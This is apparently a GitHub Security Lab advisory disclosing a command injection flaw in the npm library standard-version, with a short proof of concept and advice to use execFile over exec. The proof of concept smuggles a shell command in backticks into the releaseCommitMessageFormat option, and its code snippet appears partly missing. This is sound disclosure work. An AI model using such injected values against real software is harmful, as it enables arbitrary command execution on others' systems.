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August 6, 2020

GHSL-2020-111: Command injection vulnerability in standard-version

Kevin Backhouse


The standardVersion function has a command injection vulnerability. Clients of the standard-version library are unlikely to be aware of this, so they might unwittingly write code that contains a vulnerability.


Standard Version

Tested Version

Commit 2f04ac8


Issue 1: Command injection in standardVersion

The following proof-of-concept illustrates the vulnerability. First install Standard Version and create an empty git repo to run the PoC in:

npm install standard-version
git init
echo "foo" > foo.txt # the git repo has to be non-empty
git add foo.txt
git commit -am "initial commit"

Now create a file with the following contents:

var fs = require("fs");
// setting up a bit of environment
fs.writeFileSync("package.json", '{"name": "foo", "version": "1.0.0"}');

const standardVersion = require('standard-version')

  noVerify: true,
  infile: 'foo.txt',
  releaseCommitMessageFormat: "bla `touch exploit`"

and run it:

node test.js

Notice that a file named exploit has been created.

This vulnerability is similar to command injection vulnerabilities that have been found in other Javascript libraries. Here are some examples: CVE-2020-7646, CVE-2020-7614, CVE-2020-7597, CVE-2019-10778, CVE-2019-10776, CVE-2018-16462, CVE-2018-16461, CVE-2018-16460, CVE-2018-13797, CVE-2018-3786, CVE-2018-3772, CVE-2018-3746, CVE-2017-16100, CVE-2017-16042.

We have written a CodeQL query, which automatically detects this vulnerability. You can see the results of the query on the standard-version project here.


This issue may lead to remote code execution if a client of the library calls the vulnerable method with untrusted input.


We recommend not using an API that can interpret a string as a shell command. For example, use child_process.execFile instead of child_process.exec.

Coordinated Disclosure Timeline


This issue was discovered and reported by GitHub Engineer @erik-krogh (Erik Krogh Kristensen).


You can contact the GHSL team at, please include GHSL-2020-111 in any communication regarding this issue.